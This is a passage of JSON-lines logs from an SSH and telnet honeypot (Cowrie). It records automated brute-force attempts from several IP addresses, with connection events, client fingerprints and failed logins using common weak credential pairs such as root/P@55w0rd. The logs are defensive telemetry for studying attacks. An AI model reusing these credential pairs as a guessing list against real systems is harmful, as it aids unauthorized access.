0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:49.689657Z","src_ip":"45.156.87.204","session":"84cf084f27d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:49.937698Z","src_ip":"45.156.87.204","session":"84cf084f27d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.05591034889221,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:50.998449Z","src_ip":"152.42.224.71","session":"d86ccb8910bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:51.023127Z","src_ip":"45.156.87.204","session":"84cf084f27d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36324,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf1c848497d2","protocol":"ssh","message":"New connection: 45.156.87.204:36324 (159.203.135.109:22) [session: bf1c848497d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:53.141856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:53.146185Z","src_ip":"45.156.87.204","session":"bf1c848497d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:53.227873Z","src_ip":"45.156.87.204","session":"bf1c848497d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:53.475380Z","src_ip":"45.156.87.204","session":"bf1c848497d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:54.560792Z","src_ip":"45.156.87.204","session":"bf1c848497d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.78370261192322,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:54.768978Z","src_ip":"152.42.224.71","session":"00d5028f623f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.48167371749878,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:56.380695Z","src_ip":"152.42.224.71","session":"7bc0ecd7518a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36328,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d9d23f6f2b","protocol":"ssh","message":"New connection: 45.156.87.204:36328 (159.203.135.109:22) [session: 15d9d23f6f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:57.041704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:57.046197Z","src_ip":"45.156.87.204","session":"15d9d23f6f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:57.128548Z","src_ip":"45.156.87.204","session":"15d9d23f6f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:57.379741Z","src_ip":"45.156.87.204","session":"15d9d23f6f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:58.466920Z","src_ip":"45.156.87.204","session":"15d9d23f6f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40136,"dst_ip":"10.17.0.5","dst_port":23,"session":"802a9068e7c8","protocol":"telnet","message":"New connection: 152.42.224.71:40136 (10.17.0.5:23) [session: 802a9068e7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:58.522888Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40150,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbdfbc5120a1","protocol":"telnet","message":"New connection: 152.42.224.71:40150 (10.17.0.5:23) [session: dbdfbc5120a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:59.652390Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36338,"dst_ip":"159.203.135.109","dst_port":22,"session":"803f72baca04","protocol":"ssh","message":"New connection: 45.156.87.204:36338 (159.203.135.109:22) [session: 803f72baca04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:00.514917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:00.524019Z","src_ip":"45.156.87.204","session":"803f72baca04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:00.606718Z","src_ip":"45.156.87.204","session":"803f72baca04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:00.854766Z","src_ip":"45.156.87.204","session":"803f72baca04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:01.943386Z","src_ip":"45.156.87.204","session":"803f72baca04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40158,"dst_ip":"10.17.0.5","dst_port":23,"session":"4937df9ebcdb","protocol":"telnet","message":"New connection: 152.42.224.71:40158 (10.17.0.5:23) [session: 4937df9ebcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:02.171190Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3ccf5a5dbd","protocol":"ssh","message":"New connection: 176.32.39.21:38860 (10.17.0.5:22) [session: 3c3ccf5a5dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:02.198765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:02.204533Z","src_ip":"176.32.39.21","session":"3c3ccf5a5dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.5207085609436,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:02.255452Z","src_ip":"152.42.224.71","session":"bd1af98c9077","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:02.324927Z","src_ip":"176.32.39.21","session":"3c3ccf5a5dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe12","message":"login attempt [root/qwe12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:02.690886Z","src_ip":"176.32.39.21","session":"3c3ccf5a5dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:03.812918Z","src_ip":"176.32.39.21","session":"3c3ccf5a5dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45004,"dst_ip":"159.203.135.109","dst_port":22,"session":"d38b565f6095","protocol":"ssh","message":"New connection: 45.156.87.204:45004 (159.203.135.109:22) [session: d38b565f6095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:04.393351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:04.397939Z","src_ip":"45.156.87.204","session":"d38b565f6095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:04.479940Z","src_ip":"45.156.87.204","session":"d38b565f6095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:04.726797Z","src_ip":"45.156.87.204","session":"d38b565f6095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:05.812766Z","src_ip":"45.156.87.204","session":"d38b565f6095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45020,"dst_ip":"159.203.135.109","dst_port":22,"session":"740a71e8c080","protocol":"ssh","message":"New connection: 45.156.87.204:45020 (159.203.135.109:22) [session: 740a71e8c080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:07.950821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:07.955874Z","src_ip":"45.156.87.204","session":"740a71e8c080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:08.037946Z","src_ip":"45.156.87.204","session":"740a71e8c080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:08.285014Z","src_ip":"45.156.87.204","session":"740a71e8c080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":47932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2505ad4b4b09","protocol":"ssh","message":"New connection: 83.111.76.195:47932 (159.203.135.109:22) [session: 2505ad4b4b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:08.625646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:08.630292Z","src_ip":"83.111.76.195","session":"2505ad4b4b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:08.830707Z","src_ip":"83.111.76.195","session":"2505ad4b4b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:09.373661Z","src_ip":"45.156.87.204","session":"740a71e8c080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56990,"dst_ip":"10.17.0.5","dst_port":23,"session":"858ff9f495b1","protocol":"telnet","message":"New connection: 152.42.224.71:56990 (10.17.0.5:23) [session: 858ff9f495b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:09.390728Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"yy123456","message":"login attempt [root/yy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:09.666266Z","src_ip":"83.111.76.195","session":"2505ad4b4b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57006,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5907c812e7","protocol":"telnet","message":"New connection: 152.42.224.71:57006 (10.17.0.5:23) [session: 2c5907c812e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:10.545477Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56992,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ecf02b1d42","protocol":"telnet","message":"New connection: 152.42.224.71:56992 (10.17.0.5:23) [session: 83ecf02b1d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:10.737682Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:10.869343Z","src_ip":"83.111.76.195","session":"2505ad4b4b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45032,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f96a94f617b","protocol":"ssh","message":"New connection: 45.156.87.204:45032 (159.203.135.109:22) [session: 2f96a94f617b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:11.680825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:11.708659Z","src_ip":"45.156.87.204","session":"2f96a94f617b","protocol":"ssh"}
